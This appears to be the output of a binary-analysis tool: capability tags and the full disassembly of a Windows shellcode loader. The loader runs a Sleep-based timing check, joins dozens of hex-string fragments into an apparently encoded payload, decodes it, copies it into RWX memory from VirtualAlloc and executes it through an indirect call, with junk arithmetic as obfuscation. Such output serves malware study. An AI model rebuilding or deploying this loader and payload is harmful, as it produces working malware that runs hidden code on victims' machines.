Function at 0x4013ad
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x660
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x30a
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
movabs rax, 0x784
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x30a
jl 0x40147f
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x36e
jge 0x40147f
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, [0x00403015]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x4014aa
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.Pmmd
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x40204d
lea rax, str.9e05351403a20e83870cd40f83a472746408554258f46444d3445e5b445974d6554c40640bf4c447
mov qword [rbp - 0x18], rax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.008e0f6667d01abd7f35a976662642622663246646332730a69adcf634d630a08ad07acdd25d78cc100a3414bf584
mov qword [rbp - 0x20], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.0bf26c50cf67633667660340
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.01081b228088fd10c2c9d2d8b2c612580501084918f48d10cd105c415b0068
mov qword [rbp - 0x30], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.49148189a91c0088bff09e9016cacf5810d01a6590a180d11119fb918982842b55833f8f0
mov qword [rbp - 0x38], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.0809941a6f1870fd218b0f00f40b10ffff21eda3d2bd71a751
mov qword [rbp - 0x40], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.63f151294c8918525edfc100e40e0e7
mov qword [rbp - 0x48], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.9b090c5b93708dc9b5303d5e064001237dae9b689c08cd88e562627
mov qword [rbp - 0x50], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.de42fba9511e091b006740425bbc74514
mov qword [rbp - 0x58], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, str.844d41f15dc62270052810000901a5f3389a1001a2f406613785003ff69324731928be310e3e898f00454d8654284b4cc
mov qword [rbp - 0x60], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.302c4e545446707808705184d4c344cc4
mov qword [rbp - 0x68], rax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.00ef40dd82d4484d04445455e4e441ff0b6
mov qword [rbp - 0x70], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, str.605e8b7f44dc35537d9044b0355448ce5c3845085e2d88558100808b0478df8cff35b1fc804080b00
mov qword [rbp - 0x78], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, str.ff677726602ad9f5be33eaa1228553751062674762326625335637246547322442666
mov qword [rbp - 0x80], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.626622232356632007ef42a298d6baea2405e623db2ea4534cc274853c20df36be6c453
mov qword [rbp - 0x88], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.be2e13a4edb0
mov qword [rbp - 0x90], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.c434b54c0000b045ed544fdb0441edc8b808d5005ef7763633333362666626db08080126
mov qword [rbp - 0x98], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.280b82b07a91cc0111212b808b20084808b0069b86911918138984411cbc0b801e11a31f1a2ffae9e46991
mov qword [rbp - 0xa0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.778921110a9f3081b011131765b919d9002aef980a9a0a0091005e5999ff12a6f5518fc03402f24
mov qword [rbp - 0xa8], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, str.4029e019bd0929a0340e527eb53
mov qword [rbp - 0xb0], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.5803d740acfe89f34100e484107245e6b4cc57b98ff6e6e13695e600e
mov qword [rbp - 0xb8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.fae6a9a3e50e859a7d
mov qword [rbp - 0xc0], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.9518e68aa1277db95e773d4a2131a3e1ce464678c0578d1e81065900
mov qword [rbp - 0xc8], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.80100835387198099295354b85588008d323d3941975ee55497ea1f4ec4555644885754443674c0c45280d1088046
mov qword [rbp - 0xd0], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.48442e5480d43ccc34043544080
mov qword [rbp - 0xd8], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.41480d5554485f55e456766748f4203c43c44baf008c00c46
mov qword [rbp - 0xe0], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.0b5fd48d43c3c4b3fc460fb0630e4004948d4ffc520d890fc00eee826772362b3dae24ef45409
mov qword [rbp - 0xe8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.6f469ea9705746326632567723323333776623334526246276333333662333f327b21915608776d39c58d6f2bc718
mov qword [rbp - 0xf0], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.6ff489179e64b6011
mov qword [rbp - 0xf8], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.0cddcc49cb4a9cc36b9994bffdb04b0400a5498e48028f9848c704c754
mov qword [rbp - 0x100], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.007f67626323333276676703c81158b2a81111018b07b0311811c589b011888299d759161d9170919aaf821
mov qword [rbp - 0x108], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.21b6a1030068af9d5df198f3de329660d0ebc151a95770b6605f3800f29411f37951ab9824c9efce376a
mov qword [rbp - 0x110], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.5076def646085f5efa1004898096807080f551d994e70
mov qword [rbp - 0x118], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0
mov byte [rbp - 0x61b], al
movabs rax, 0x502
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x61a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xe0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xf8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x100]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x108]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x110]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x118]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, [0x004037c4]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0x628], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x628]
mov r11, rax
lea rax, [rbp - 0x61b]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401338
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x503
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0x630], rax
movabs rax, 0x503
mov r8, rax
lea rax, [rbp - 0x61b]
mov r11, rax
mov rax, qword [rbp - 0x630]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x630]
mov qword [rbp - 0x638], rax
mov r11, qword [rbp - 0x638]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov ecx, dword [0x00403008]
add eax, ecx
mov ecx, dword [0x0040300c]
add eax, ecx
mov r11, rax
lea rax, [0x004037c6]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret